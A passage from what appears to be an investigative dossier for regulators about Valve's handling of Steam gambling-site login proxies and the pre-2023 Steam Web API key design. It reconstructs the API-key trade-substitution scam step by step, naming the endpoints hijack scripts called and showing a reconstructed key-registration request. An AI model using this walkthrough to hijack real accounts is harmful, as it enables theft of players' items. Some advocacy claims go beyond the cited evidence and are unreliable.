host registered 12 years 6 months — and no published enforcement record for any operator.\nThe question for the regulator is therefore: what enforcement, if any, has Valve applied to the auth hosts it receives in its own OpenID requests?\nWhat Valve Did — and Why It Did Not Interrupt the Auth Path\n\nThe table below maps each publicly documented Valve action against whether it affected the OpenID authentication entry point. The finding is not \"Valve did nothing\" — it is that none of the publicly documented actions touched the point where gambling-platform logins pass through Valve's servers.\n\nDate\tValve Action\tAffected openid.return_to path?\nJuly 2016\tPublic statement of 13 July 2016; counsel's notices to ~23 named sites (press, 21 July 2016); >40 sites contacted per Valve's October 2016 letter to WSGC\tNo. Notices and the Link Filter act on operators and links; the OpenID request path was not changed.\n2017\tClosure of IEconItems_730/GetPlayerItems (according to CSFloat's engineering account; no Valve changelog located)\tNo. Affected public item-history visibility. OpenID authentication was not modified.\n2018-03-29\tCS:GO 7-day trade lock announced (blog.counter-strike.net)\tNo. Slowed item movement; the OpenID request path was not changed.\n2022-05-10\tTrade-cancellation endpoints removed from the public Web API (user-detected; no Valve changelog — node-steam-tradeoffer-manager #325)\tNo. Closed the offer-swap tooling; OpenID authentication was not modified.\n2023-12-04\tAPI-key creation now requires mobile confirmation (steamcommunity.com/dev/apikey; no changelog)\tNo. Protected the key endpoint; the auth hosts documented here were not affected.\n2026-09-19 / 09-21\tSteam Link Filter state as observed by the authors\tNo. 14 main domains returned a block in the saved 2026-09-21 recheck — 26 split pairs in the register by 2026-09-22 — while the proxy carrying each login kept running.\nSources: Valve statement of 13 July 2016 (store.steampowered.com/oldnews/22883, archived 2026-09-21) · CSFloat engineering account of the 2017 closure (blog.csfloat.com, archived 2026-09-21) · Link Filter state: linkfilter-recheck-2026-09-21.json.\nThis finding is falsifiable by a single published instance in which Valve refused an OpenID request because openid.return_to pointed to a gambling auth host. No such instance has been located in the public record.\nThe two most recent auth-host registrations\nhowl.uno was registered 2026-08-11 (RDAP), 41 days before 2026-09-21; howl.gg returned a Link Filter block on 2026-09-18, 2026-09-19 and 2026-09-21. Whether the block preceded the registration is not established.\nrbsnin.com was registered 2026-09-18T09:34:52Z (Verisign RDAP) and was observed in Rollbit's Steam login flow on 2026-09-20 via Steam's own login-page notice; rollbit.com returned a Link Filter block on 2026-09-19 and 2026-09-21, rbsnin.com did not.\nEach host in the table above is sent to Valve's authentication servers as openid.realm on every login attempt.\nFull per-route data and Link Filter verdicts: the table in Section 3 above; raw results in linkfilter-recheck-2026-09-21.json and linkfilter-all-results.json.\nMethodology — How the Route and Link Filter Counts Were Established\n1. Domain resolution\nThe 2026-09-21 audit resolved 78 of 189 requested platforms: 33 authenticate on their own hostname and 20 on their own subdomain — direct authentication, and none of them are counted as separate-domain routes. The remaining 25 authenticate through a separate registrable domain, across 24 distinct hostnames (dota2.net is shared by market.csgo.com and rust.tm): 10 established by live browser capture, 3 by Steam's own login-page notice, 12 by a supplied OpenID URL. The live register (master_registry.json, 2026-09-22) extends that to 44 separate-domain routes: 26 filter-split pairs (main domain BLOCKED, auth host CLEAN) plus 18 further routes without a main-domain split. Of the 44, 27 carry a per-route evidence file; the other 17 were collected by hand and are marked realm_src: user in the register. Five of those seventeen — csgogem.com, gamdom.com, 12cs.fail, csgolounge.com and dota2lounge.com — were added on 2026-09-22 with a Link Filter capture of both hosts (raw HTML + SHA-256 in linkfilter-2026-09-22.json), so the split itself is evidenced even though the realm is hand-collected; they appear in the table above alongside the evidence-file routes. tfauth.com (tf2easy.com) was dropped from the register on 2026-09-22: like arena.fragnet.net, nothing verifiable links it to its origin site. The count is re-derivable from the published auth-route-audit.json (run of 2026-09-21) by one rule: a platform counts only when its observed Steam OpenID host sits on a different registrable domain than the platform itself.\n2. Steam Link Filter status\nTested via steamcommunity.com/linkfilter/?url=https://[domain], unauthenticated, on 2026-09-19 and 2026-09-21; raw HTML saved with SHA-256. Status recorded for main domain and auth host separately. A classifier distinguishes the generic \"You are leaving Steam\" notice (CLEAN) from the \"Link Blocked! ... flagged as potentially malicious\" page (BLOCKED); a google.com control confirms the two are not conflated. An earlier authenticated variant of this test was discarded after it returned \"blocked\" for every domain including that control — traced to an invalid session cookie in the probe script, not a real result.\n3. Observation of the auth host\nLive capture: a Playwright browser navigated to each platform's login flow and the openid.return_to hostname was read from the intercepted request. Login-page notice: the hostname was read from Steam's own \"<host> is not affiliated with Steam or Valve\" text, which Steam renders from openid.realm (rbsnin.com, sc-auth.net, auth.dota.trade). Supplied URL: a Steam loginform URL provided to the authors; this establishes the request parameters, not a completed login. No login was completed on any platform.\n4. Coverage — what was not resolved, and why that matters\nOf the 189 platforms, 110 produced no established route and one was not applicable (189 − 78 − 1). This dossier counts none of them. The breakdown of the 110, from the audit file: 22 bot challenges, 14 timeouts, 12 HTTP errors and 10 navigation errors — the observer could not reach the login flow, though most of these sites open normally in an ordinary browser; 20 showed no Steam login control on the landing page; 16 reached a login flow that could not be resolved to a host; 11 domains did not resolve in DNS; 5 stopped at a consent wall. The register below splits the same 110 differently: the 11 that did not resolve in DNS are listed separately as Removed · NXDOMAIN, and the one not-applicable entry joins the rest. 189 platforms audited, 11 removed on a definitive NXDOMAIN from both resolvers, 178 retained (platform-audit.json, platforms-removed.json). 137 auth domains that the ledger had guessed by naming pattern were deleted from the data on 2026-09-19 — never observed, therefore never evidence. Three of the guesses were contradicted by supplied OpenID URLs: buff.163.com, gamerpay.gg and csgoluck.com authenticate directly, against guesses of buffauthproxy.163.com, gamerpayredirect.io and lucklogin.app. The removals are listed in the published audit file.\nThe 25 is a floor, not a ceiling. Among the 78 platforms that did resolve, 25 used a separate domain and 53 did not. Nothing about the unresolved 110 is assumed from that ratio, and no projection from it appears anywhere in this dossier. Each one is resolvable by a person opening the site and pressing \"Sign in with Steam\": the auth hostname is in the URL of the Steam page that loads.\nThe point of this section: an independent observer needs a browser and a lot of patience to resolve 189 platforms, and got 78. Valve needs a database query. Every platform that uses \"Sign in with Steam\" — resolved and unresolved alike — sends openid.realm to Valve's authentication endpoint on every login. The gap in this table exists because the authors are outside the system. It does not exist for Valve.\nObserved proxy hostnames are in auth-route-audit.json. Domain registration dates from RDAP (Verisign) / IP2WHOIS. Link Filter results in linkfilter-all-results.json.\nAnalogy for clarity\n\nImagine a licensed taxi company is told by regulators that it may no longer operate from its registered Main Street address. The company removes the sign from Main Street. That sign removal is documented. However, the same company opens a Side Street address — registered under a different name — and continues operating from there. The regulators operate the central dispatch system that every taxi from both addresses uses. Every ride request shows \"pick up from Side Street.\" The regulators never revoke the Side Street licence. The removal of the Main Street sign is the only enforcement that occurred. The taxi company never stopped operating.\n\nPart A — Technical record · Section 4\nAn endpoint closed. Public tracing lost a key.\nContext & source limits\n\nSteam shipped changes that removed public visibility of item Asset IDs and restricted API inventory access. The effect: tracing a specific item by its original Asset ID became impossible from public data. What follows is what was possible before, what stopped being possible after, and what that costs a victim trying to prove where their property went. The date is 2017 according to CSFloat's engineering account; no Valve changelog has been located. The sequence — roughly a year after the July 2016 gambling statement — is the investigative question, not a finding. The item records themselves remain inside Valve's systems; outside investigators lost access to the original-ID chain, while float, seed and paint identifiers allow only partial matching.\n\nThe rule Valve applies: Steam Support does not restore items that left your account, and the burden of showing what happened is yours. The record: in 2017 Valve closed the endpoint that carried original item IDs. Before it, anyone could follow a stolen skin from the victim's account into a marketplace bot. After it, nobody outside Valve can. The proof the victim is asked for is the proof that was switched off — and it still exists, inside Valve.\n\nThe Pre-Blackout Era\n\nHistorically, every virtual item generated on Steam possessed a globally unique, immutable Asset ID. Third-party OSINT databases could index these IDs. If a user had an item hijacked, investigators could trace the lineage of that specific asset as it moved from the hijacker's intermediate account into the storage accounts of a marketplace or gambling site.\n\nBEFORE: an item could be followed from the victim's account through intermediate accounts and into a marketplace or casino storage bot, by anyone, using public data.\nAfter the change\n\nAccording to CSFloat's engineering account, Valve closed the endpoint in 2017 and original item IDs stopped being available to outside parties. No Valve statement of the reason for the change has been located. In the same period, no published action against the commercial bot accounts that moved items at scale has been located either.\n\nWhatever the reason for it, the change severed the public chain of custody. A victim can no longer reproduce the original-ID chain from public data to show that a specific stolen item was liquidated through a specific marketplace or casino. The item records still exist inside Valve's systems; the public, researchers and law enforcement working from public data cannot reach them.\n\nAFTER: tracing a specific item by its original Asset ID is no longer possible from public data. The original-ID chain of custody for an item moved after 2017 exists only inside Valve's infrastructure; no such record has been produced publicly. Float, seed and paint identifiers allow only partial, probabilistic matching.\nIEconItems_730\nGET /IEconItems_730/GetPlayerItems/v1/\nTraceable Payload (Pre-Patch)\n\"id\": \"14892281934\",\n\"original_id\": \"11829910211\",\nStatus: Victim can track item lineage across bot accounts.\nObfuscated Payload (Post-Patch)\nCurrent\n\"id\": \"HIDDEN_BY_PRIVACY_SETTINGS\",\n\"original_id\": \"NULL\",\nStatus: outside parties can no longer trace item lineage by original Asset ID from public data.\nEffect on evidence: after the change, the public data needed to follow a specific item by its original Asset ID from a victim's account into a marketplace or casino bot was no longer available. The internal records still exist at Valve; a victim, researcher or investigator working from public data cannot reproduce the original-ID chain (float, seed and paint identifiers allow only partial matching).\n\nSource: CSFloat engineering account of the 2017 closure of IEconItems_730/GetPlayerItems — blog.csfloat.com/how-floatdb-tracks-items (archived 2026-09-21) · the payloads shown are an illustration of the field shape, not captured responses · no Valve changelog for the closure has been located.\n\nPart A — Technical record · Section 5\nOne session. More access than the user sees.\nContext & source limits\n\nValve's API-key architecture, as it stood before the 2023 changes, departed from baseline industry standards (OWASP ASVS, NIST SP 800-63B) and is the mechanism described in the automated inventory-theft complaints preserved in the evidence archive (Sections 6–8).\n\nThe rule Valve applied: the account holder created the key, accepted the terms, and bears the loss — that is the answer in the archived refusals. The record: until December 2023 a stolen session cookie alone could register that key. No password. No Steam Guard. No notification to the person whose account it was. The user did not create the key, could not see it, and was told he did. Mobile confirmation was added on 2023-12-04 — about seven years after the 2016 statement and roughly six after the scam panels the archive preserves. Those years were not paid by Valve. They were paid by the accounts emptied in the meantime, a share of them children's.\n\nOWASP ASVS 2.8 / NIST SP 800-63B SEVERITY: CRITICAL\n1. Insufficient Step-up Authentication\n\nSteam allowed the generation of highly privileged, long-lived API keys using only a session cookie. No 2FA (Steam Guard) or step-up authentication challenge was required when setting up or modifying a developer API key, so the Steam Guard mobile confirmation — the only second factor Steam offers — did not protect this step. (A hardware second factor was requested in Valve's own tracker in 2016 and the issue is still open: Appendix D, GH-01.)\n\nStatus: unpatched before 2023. Allowed a script holding a stolen cookie to register a key without any user interaction.\nOWASP A01:2021 / Least Privilege SEVERITY: CRITICAL\n2. Lack of Principle of Least Privilege\n\nThe Steam Web API lacked any role-based authorisation scopes. A developer API key issued for \"read-only\" inventory status possessed complete \"write\" permissions — including the ability to manipulate existing trades, initiate new ones, register webhooks and decline valid pending exchanges.\n\nStatus: systemic design defect. One key = full read/write control of the account's inventory and trades.\nOWASP A07:2021 / Sessions SEVERITY: HIGH\n3. Broken Session Management\n\nHijacked web sessions originating from server-hosting IP ranges were reported by users to persist. Standard practice is to terminate sessions on geographic anomalies and on password change; user reports collected in the archive describe sessions that remained active after a password change.\n\nStatus: reported behaviour (user complaints in the archive). Sessions could generate API keys without re-authentication.\nDomain-level blocking was technically feasible ENFORCEMENT FEASIBILITY\n4. Domain-Level Blocking of Auth Hosts Was Technically Feasible\n\nValve already operates a domain list (the Link Filter) and already receives every auth hostname in its own OpenID requests. The two mechanisms are not connected in any way visible from outside: as of 2026-09-22, in 26 pairs the main domain was on the filter while the proxy carrying its login was not.\n\nConnecting them is a small engineering task: read the openid.realm hostname from each incoming request, compare it against a list, and refuse or flag the request. The illustration on the right shows the shape of such a routine. Refusing the auth host — rather than only the public landing page — would interrupt the \"Sign in with Steam\" step that these platforms depend on.\n\nNo public evidence shows that Valve runs such a check. The Steam Community Market's combined fee of about 15% applies to sales completed inside the Market; it is not collected on these platforms' external trades.\n\nblock_auth_hosts.py ILLUSTRATION\n// Read the host Steam already receives — no scanning\ndef on_openid_request(request):\nhost = parse_openid_realm(request)\nif host in blocked_domains:\nrefuse(request)\nNote: pseudocode for illustration only. Both halves already exist at Valve — the auth hostname arrives in the request, and the domain list is the Link Filter. No public record explains why they are not connected.\nSection 5.1 — The standards were not unpublished\nValve builds against these rules every day. It did not build to them here.\n\nSteam ships on the App Store and Google Play, sells through the major card processors, and consumes third-party APIs like any other large platform. Each of those relationships carries a published, dated security requirement that Valve must satisfy to keep operating. Set the dates of those requirements against the dates on which Steam's own Web API acquired the same protections. Nothing below is a private standard, an internal memo or a trade secret: every row is a public document with a publication date.\n\nPublished external security requirements, with their dates, set against the date the Steam Web API acquired the equivalent control\nThe published standard, and the date it took effect\tThe Steam Web API on the same question\nScoped authorisationOAuth 2.0 — RFC 6749, October 2012. Section 3.3 defines scope so a client receives only the access it asks for. It has been the default of every major platform API since.\tGranular scopes arrived on 16 January 2026.Before that a single Steam Web API key carried full read and write over the account's trades regardless of why it was issued. Thirteen years and three months after the specification that defines the control.\nA key is not an authorisationGoogle's own Cloud documentation: A standard API key doesn't authenticate a principal, and for APIs that create or manage resources, don't use authorization keys in production.\tThe Steam Web API key was exactly that.A bearer string, issued to an account, sufficient on its own to read the inventory, cancel a pending trade and send a new one. No principal was authenticated at the point of use.\nMulti-factor authentication on privileged accessPCI DSS 3.2, requirement 8.3 — mandatory from 1 February 2018 for all non-console administrative and all remote access to the cardholder data environment. Apple then required two-factor authentication of every Developer Program account holder from 27 February 2019: developers with the Account Holder role in a developer program will need to enable two-factor authentication to sign in.\tA second factor was required to create an API key from 4 December 2023.Until then a stolen session cookie was enough, with no prompt on the account holder's phone and no notification afterwards. Four years and nine months after Apple made Valve itself use a second factor merely to sign in to a developer portal.\nCredential lifecycle and revocationTwitch requires of every third-party application: Your app must validate the OAuth token when it starts and on an hourly basis thereafter, and states that it audits for applications that do not. Its legacy v5 API was retired outright on 28 February 2022 on a published schedule.\tNo published key-lifecycle record.The 2023 change protected the creation endpoint. No Valve statement located with it addresses keys already registered, and no changelog accompanied the change at all. Whether keys created before it were invalidated cannot be established from public data — which is the question a data subject would need answered to know whether a key created on their account years earlier is still live.\nArchitectural Benchmark // Token Architecture\nGitHub Fine-Grained Scopes vs Valve Steam Web API\n\nValve developers manage open-source software on GitHub daily using granular least-privilege tokens. Compare that with the monolithic key issued to 130M Steam players.\n\nGitHub Fine-Grained Token\nUsed by Valve on GitHub\n\nFine-grained token with scoped isolation and mandatory lifecycle enforcement.\n\nRepository Access: Selected Repos only (1 repo)\nIssue Permissions: Read-only [✓]\nCode & Secrets: No access [✕]\nExpiration: 30 Days (Mandatory TTL)\nAudit Logging: IP, User-Agent & Timestamp\nSecurity Posture: Least-privilege token limits damage to a single read-only resource.\n! Valve Steam Web API Key\nIssued to 130M Users\n\nSingle 32-character master string carrying all-or-nothing trade and inventory authority.\n\nAccount Access: FULL ACCOUNT (Monolithic)\nTrade Management: Read, Cancel, Decline [!]\nGranular Scopes: NONE (Arrived 2026, 13y late)\nExpiration: NEVER (Valid indefinitely)\nAudit Logging: NONE (Zero IP history for user)\nVulnerability: Stolen key allows silent interception of all outgoing trade offers.\nThe standard applied in one direction\n\nSuppose a vendor Valve depends on — a cloud provider, a payment processor, a CDN — left a credential endpoint without a second factor, and months later Valve's own corporate data left through a key minted at that endpoint. Would Valve accept that the fault lay with whoever clicked the link? The archived refusals preserved in this dossier answer the mirror-image question for the user: the position taken is that the account holder created the key and bears the loss. The same architecture is described as the vendor's failure in one direction and the user's responsibility in the other. Which it is, is not a technical question, and it is not one this investigation can settle — it is what a court or a supervisory authority decides.\n\nIllustration, not evidence — the standard read back the other way\nA payment processor that let a third-party script mint a full-privilege transaction credential from a browser cookie alone, with no prompt to the account holder.\nAn identity provider that closed the hole its tokens were minted through and published nothing about the tokens already minted.\nA bank that answered a disputed transfer by observing that the credential used was registered on the customer's own account, and closed the ticket.\n\nNone of these is offered as a finding about any named company. They are the same design decisions, moved to a setting where the supervisory response is well documented — which is the comparison a regulator is being asked to make.\n\nWhat the record establishes: the controls absent from the Steam Web API were public, dated and, in several cases, conditions Valve had to satisfy to keep shipping its own products. The interval between each standard and the equivalent Steam change is measurable and is set out above. What it does not establish is why. No Valve statement of reasons for any of these intervals has been located, and none is assumed here; that record exists inside Valve and has not been published.\n\nSources, each a public document: OAuth 2.0 — RFC 6749, October 2012 ↗ · Google Cloud — API keys documentation ↗ · PCI DSS 3.2 requirement 8.3 — PCI SSC resource guide ↗ · Apple — Upcoming Two-Factor Authentication Requirement for Account Holders, 20 February 2019 ↗ archived 2025-05-06 ↗ · Twitch — token validation requirement ↗ and the v5 shutdown notice ↗ archived 2025-01-27 ↗. Steam's own dates are those in the update record in this section; the 2023 and 2026 entries are the ones Valve shipped without a changelog. Retrieved 2026-09-22.\n\nValve's own update record — dated, from public sources\nDate\tValve change\tAnnounced?\tWhat it closed\tLag: mechanism public → fix\tSource\n2026-09-01\tAutomated Suspicious Chat Flagging\tYes\tDangerous links / patterns in group chats\t—\tnews ↗\n2026-01-16\tSteamworks Web API granular scopes\tYes\tLeast-privilege scopes for developer keys\t—\tannouncement ↗\n2025-07-15\tCS2 Trade Protection & reversal window\tYes\tNothing. Not a root-cause security fix. Support-side account recovery access remains untouched. Triggering reversal inflicts an automatic 30-day trade lockout (Skinvault ↗), while cash-trading shock caused a $104M (-25%) 24h market cap plunge (CSMarketCap ↗). In 2026, timers became per-item (Skin.land ↗).\t—\tFAQ ↗\n2025-05-14\tAccount Security Announcement\tYes\tStealer / session-hijack guidance\t—\tannouncement ↗\n2024-10-02\tCS2 'The Armory' 7-day hold\tYes\tHold on trade/market for Armory items\t—\tannouncement ↗\n2024-09-18\tNew-device login trade restriction\tYes\t2–7 day trade lock on new devices\t—\tFAQ ↗\n2024-02-14\tProfile name & avatar change hold\tYes\t2–4 h cooldown on trades after rename\t—\tpost ↗\n2023-12-04\tMobile confirmation for API keys\tNo changelog\tSilent cookie-only key registration\t≈6 years after the 2017-era panels\tdev page ↗\n2023-10-24\tSMS MFA for game build publications\tYes\tSteamworks build publishing\t—\tannouncement ↗\n2023-07-12\tCustom biography content warning\tYes\tPhishing links in bios\t—\tforum ↗\n2023-01-25\tProfile {LINK REMOVED} & cooldown\tYes\tLinks in profile text\t—\tFAQ ↗\n2022-10-24\tLogin overhaul & cookie truncation\tNo changelog\tInfinite stolen sessions\t— (IAuthenticationService token migration)\tnews ↗\n2022-10-12\tMobile App 3.0 QR login\tYes\tSession deauthorisation panel\t—\tnews ↗\n2022-05-10\tTrade-cancellation endpoints removed\tNo changelog\tOffer-swap (cancel & re-send)\t≈5 years after the 2017-era panels\tissue #325 ↗\n2020-05-25\tDota 2 7-day trade lock\tYes\tFast item flipping\t—\tblog ↗\n2018-03-29\tCS:GO 7-day trade lock\tYes\tInstant bot laundering\t≈20 months after the July 2016 statement\tblog ↗ archived 2025-02-26 ↗\nSources: the linked Valve posts, help pages and GitHub issues, as dated. Three decisive fixes shipped with no changelog (2022-05, 2022-10, 2023-12) and were detected by users, not announced by Valve — that asymmetry is part of the enforcement record. Lags are computed only where the dossier's own dating (July 2016 statement; 2017-era scam panels) supplies the start point; \"—\" means no such start point is established here.\nPart A — Technical record · Section 6\nInteractive Exploit & Hijack Simulator\nContext & source limits\n\nA reconstruction of the path from the phishing message to the server-side key registration and the trade swap. Before 2023, a Web API key registered on an account could read its inventory, cancel a pending trade offer and create a new one, and no trade-confirmation screen was shown to the account holder for any of those actions. That is the absence of least privilege (OWASP A01:2021). The timings in this simulation are illustrative and are not live measurements of the current platform.\n\nStep through the reconstructed hijack. Each phase shows what the account holder sees and, beside it, the call Steam receives at the same moment. Every one of those calls is correctly authenticated. Nothing in the sequence needs Steam's authentication to fail — it needs the key it issues to carry no scope (OWASP A01:2021).\n\nWhat the player sees. What changes behind it.WALKTHROUGH SIMULATOR\n01 / THE CHAT LUREA friend asks to voteVictim receives a message with a link.\n02 / THE LOGINA lookalike portalVictim enters sign-in credentials.\n03 / THE ACCESSSilent Web API creationAttacker registers a developer key.\n04 / THE SWITCHLegitimate trade swappedClone bot duplicates target recipient.\n05 / CONFIRMATIONCounterfeit approvedWrong offer approved on mobile.\n\nThe Exploit Completed. Expecting a mobile prompt for their original trade, the victim approves the replacement trade. This is an integrated forensic walkthrough showing how the absence of Least Privilege (OWASP A01:2021) enables automated, sub-second asset hijacking.\n\nThe same step, seen from the networkReconstruction of the pre-2023 pattern · illustrative call shapes\nVictimApproves the mobile prompt that was expected for the original trade.\nAttackerReceives the items at the clone account.\nSteam seesA transfer confirmed by the account holder on a registered device.\nConfirmation genuine — made by the account holder\nRecipient the clone bot, not the intended counterparty\nThe confirmation is authentic. The offer it confirms is not the one the user initiated.\n\nThe record left behind: a trade the user approved. That is the record Steam Support reads when the complaint arrives, and the reason the archived complaints were closed as user error. The complaints are in the enforcement archive.\n\nPart A — Technical record · Section 7\nThe endpoints behind the sequence.\nContext & source limits\n\nThese are the Steam Web API endpoints that the reported hijack scripts used to intercept trades without passing through the browser-side confirmation steps.\n\nFour documented endpoints do the whole job. None of them is a flaw, none needed exploiting — a valid key calls them and Steam answers. The key is the only thing the attacker had to steal.\n\nIEconService / GetTradeOffers / v1 POLLING\n\nUsed to monitor the account's trade offers. Scripts poll this endpoint repeatedly with the compromised API key; it returns the details of newly created, pending or modified trade offers. Polling intervals are not measured here.\n\nThreat vector: Discloses pending trade offer IDs and the recipient's profile details.\nIEconService / CancelTradeOffer / v1 INTERACTION\n\nUsed to programmatically invalidate the user's legitimate trade offer. Before 2023 no step-up authentication protected the key, so an automated server could cancel an offer as soon as it was detected, without any prompt to the account holder.\n\nThreat vector: Voids the trade before the account holder completes the mobile confirmation.\nISteamUser / GetPlayerSummaries / v2 RECON\n\nQueried to retrieve the profile name, avatar image URL and level of the legitimate trade recipient. This lets the script dress a prepared clone account to match. No timing is measured here.\n\nThreat vector: Supplies the data needed to impersonate the intended recipient.\n/dev/ajaxregisterkey CREATION\n\nSteam's registration endpoint for keys. Historically, any active browser cookie session (`steamLoginSecure`) could register a key without a Steam Guard confirmation on the mobile device, and without any notification to the account holder.\n\nThreat vector: A persistent credential created by a script, unseen by the account holder.\nPart A — Technical record · Section 8 · GDPR Article 7\nA checked box. Whose action?\nContext & source limits\n\nIn declining reimbursement, Steam Support replies preserved in the archive take the position that the account holder created the API key and, by checking the box, accepted the terms.\n\nThe support response attributes the key to the account holder. The question is whether the record establishes who actually created it.\n\nIn the observed API-key hijack pattern, however, the victim never saw or navigated to the API key creation page. The consent field is submitted by a script executing a headless POST with the stolen session cookie.\n\nUnder GDPR Article 7 and Article 4(11), consent must be a freely given, specific, informed and unambiguous indication of the data subject's wishes. The authors' position is that a terms-acceptance field submitted by a hostile script with a stolen cookie, with no page shown to the account holder, cannot meet that definition. Whether it does is for the supervisory authority.\n\nForensic Payload Analysis: Key Registration\nPOST https://steamcommunity.com/dev/ajaxregisterkey\n// Request Payload (Injected via hijacking script)\n{\n\"agreeToTerms\": \"agreed\", <-- machine-injected, no human interaction\n\"domain\": \"localhost\", ← not validated — any value accepted, including localhost\n\"sessionid\": \"8f0d8ef763ab2140bf89de2a\"\n}\nThe question for the supervisory authority: where the account holder never clicked the consent field, whether the terms-acceptance recorded against the account meets Article 7's requirement of a freely given, specific, informed and unambiguous indication of the data subject's wishes, and whether Steam Support may rely on it to decline a claim.\n\nSource: request shape of key registration as reconstructed from the public endpoint and from hijack reports preserved in the evidence archive (searchable build of 2026-09-17) · the session identifier shown is a placeholder, not a captured value.\n\nForensic Autopsy · The Trade Substitution Vector\nHow Valve Finally Neutralized \"Trade Substitution\" — And Why It Took 7 Years of Workarounds\n\nFor nearly a decade, the \"API Key Trade Substitution\" (or API MitM Scam) was the most lucrative account theft model on Steam, siphoning hundreds of millions of dollars in skins from unsuspecting players. Valve did not eradicate the exploit by fixing the vulnerable API architecture; instead, Valve spent seven years layering four platform-wide friction barriers that crippled community trade liquidity while leaving the root cause unaddressed.\n\n1. The Mimicry Death\nAvatar & Name Cooldown (Feb 2024)\n\nThe exploit required sub-second mimicry: the scam bot intercepted an outgoing trade, scraped the recipient's avatar/name via ISteamUser, and cloned the profile in 200ms. On 14 February 2024, Valve quietly implemented a mandatory 2-to-4 hour trade cooldown (Error 34) immediately following any profile name or avatar change. A bot can no longer clone a recipient on the fly without locking itself out of trading.\n\n2. The Economic Death\n7-Day CS2 Trade Reversal (Jul 2025)\n\nValve introduced unilateral Trade Reversals for Counter-Strike items. Any traded skin is tagged \"Trade Protected\" for seven days. If a victim discovers a substitution, they click \"Reverse Trade\" in Steam Support, and the skin is instantly returned to their inventory while freezing the recipient. Because the 7-day trade lock prevents scammers from moving the item to a cashout site, the theft is rendered unprofitable.\n\n3. The Silent Key Death\nMandatory Mobile Push for API (Dec 2023)\n\nHistorically, a stolen session cookie allowed malicious scripts to execute a headless background POST to /dev/ajaxregisterkey without notifying the victim. On 4 December 2023, Valve mandated an explicit push confirmation on the Steam Mobile App to generate a Web API key, eliminating silent background key provisioning.\n\n4. In-App Mobile Warnings\nAccount Age & Name Banners (2022–2024)\n\nValve revamped the mobile confirmation modal to display the trade partner's Steam account tenure (creation date), Steam level, and an explicit amber warning: \"This user has recently changed their profile name\", breaking the visual illusion for attentive victims.\n\nThe Three Flaws in Valve's Patchwork: Why Scammers Simply Shifted Targets\n1. The Game Exclusion Loophole (Dota 2 & TF2)\n\nTrade Reversals were deployed exclusively for Counter-Strike 2. Dota 2 and Team Fortress 2 items remain completely unprotected due to crafting and socketing complexities. High-tier items worth thousands of dollars (Dragonclaw Hooks, Golden Baby Roshans, Unusual TF2 burning flames) carry zero reversal window. Scammers simply redirected automated API interception onto Dota 2 and TF2 traders, where Steam Support strictly enforces its 2016 \"no item restoration\" policy.\n\n2. The \"Zombie Key\" Reservoir (Zero Expiration)\n\nWhile Valve added mobile push 2FA to generate new keys in December 2023, Valve never revoked, expired, or purged existing legacy API keys. Millions of active accounts that generated keys (or had keys silently created by phishing/malware prior to Dec 2023) still carry active credentials with zero expiration (no TTL) and zero inactivity timeout. Threat actors maintain massive historical databases of these persistent keys, continuing to poll IEconService undisturbed.\n\n3. The Victim Penalty: 30-Day Trading Lockdown\n\nEven in CS2, Valve penalizes the scammed player: clicking \"Reverse Trade\" in Steam Support automatically inflicts a mandatory 30-day trade and Community Market ban on the victim's account. Valve punishes the user with a month-long platform exile as a deterrent against \"frivolous\" reversals, discouraging victims from reversing trades on lower-value liquid items.\n\nThe Core Regulatory Scandal: Seven Years of Workarounds vs. One API Scope\n\nWhy did Valve spend seven years inventing trade holds, account cooldowns, and reversible trade locks—disrupting the entire gaming economy and wiping out $104M in market capitalization—instead of implementing the industry-standard fix?\n\nAs proven by Valve's official Steamworks release on 16 January 2026 (Announcement #493839547938902179 ↗), Valve already built Granular Permission Groups (General, Microtransactions, Economy, Sales Data) and IP Whitelisting for corporate Publisher Keys. Valve had the engineering solution in hand for years. A single user-facing checkbox—\"Prevent this Web API key from accessing IEconService (Trade Management)\" or a home IP whitelist—would have eradicated the trade substitution scam in 2018 with zero economic collateral damage. Valve refused to give regular players the protection it engineered for corporate partners.\n\nPart B — Rules and enforcement record · Section 9\nTheir rulebook. The recorded platforms.\nContext & source limits\n\nThis ledger maps explicit clauses from the Steam Subscriber Agreement (SSA) and Steam Online Conduct (SOC) guidelines directly against active, large-scale commercial entities.\n\nThe rule: no commercial use, no gambling, no bots — and Steam Support quotes those clauses when it refuses to return a victim's items. The record: the same clauses, on their face, cover the commercial platforms in this register, which run on Steam identities, Steam bots and Steam transfers. The clause is enforced against the person who lost the skins and not, on any published record, against the businesses moving them.\n\nIn the archived complaints, Steam Support cites the \"No Commercial Use\" and \"No Automation/Bots\" clauses when declining to restore items to victims of API-key fraud. The same clauses apply on their face to the commercial platforms recorded in this dossier, which authenticate through Steam OpenID and move items through automated Steam accounts. No market-wide revenue figure is estimated here (see the enforcement statistics below). What the record shows is the rule applied to individual accounts in the archived cases and no published per-operator enforcement record for the platforms. That asymmetry is what this section documents.\n\nThe central question / selective enforcement\nRules → Scale → Accountability\nOne rulebook. Unequal enforcement.\n\nThe register shows commercial services using Steam identities, inventories, bots and transfers as operating infrastructure. The SSA prohibits commercial exploitation and automation without permission. The archived complaints show that rule applied to individual accounts, while the public record does not show an equivalent operator-by-operator account for the platforms documented here. Publish the rule, the evidence and the enforcement decision for each one.\n\n189websites in audit scope\n44separate-domain routes in the live register — 27 with a published evidence file, 17 manually collected. The 189-website browser audit alone resolved 25 of them; the register adds the hand-collected routes.\n12 yr 6 mocsgogem.com blocked in the Link Filter; api.csgem.com registered 2014-03-08 and never blocked — one of 26 such pairs as of 2026-09-22\nNo verified totalmarket-wide revenue estimate excluded\nSteam Online Conduct\n\"…you shall not do, or attempt to do, any of the following on Steam: […] Engage in commercial activity. Examples of such prohibited behavior include: posting advertisements; running contests; gambling; buying or selling Steam accounts; selling content, gift cards, or other items; and begging.\"\n\nstore.steampowered.com/online_conduct ↗ archived 2026-09-21 ↗\n\nSSA § 2.G — Commercial use\n\"…[you may not] exploit the Content and Services or any of its parts for any commercial purpose, except as expressly permitted elsewhere in this Agreement…\"\n\nValve's 2016 notices, as reported, invoked the personal, non-commercial licence. No operator has produced a Valve authorisation on the record. store.steampowered.com/subscriber_agreement ↗ archived 2026-09-18 ↗\n\nSteam Web API Terms of Use\n\"You may not use the Steam Web API or Steam Data in any way that violates the Steam Subscriber Agreement.\"\n\nThird-party skin marketplaces operate through automated accounts consuming the Steam API. The rule text leaves no exception for commercial scale. steamcommunity.com/dev/apiterms ↗ archived 2026-09-21 ↗\n\nSSA § 4.C\nAutomation\n\nScripts, bots and non-human interaction are restricted. The ledger records bot trading, account farms and automated routing at commercial scale.\n\nInspect the records tagged under this clause\nSSA § 2.G\nCommercial use\n\nCommercial exploitation requires express 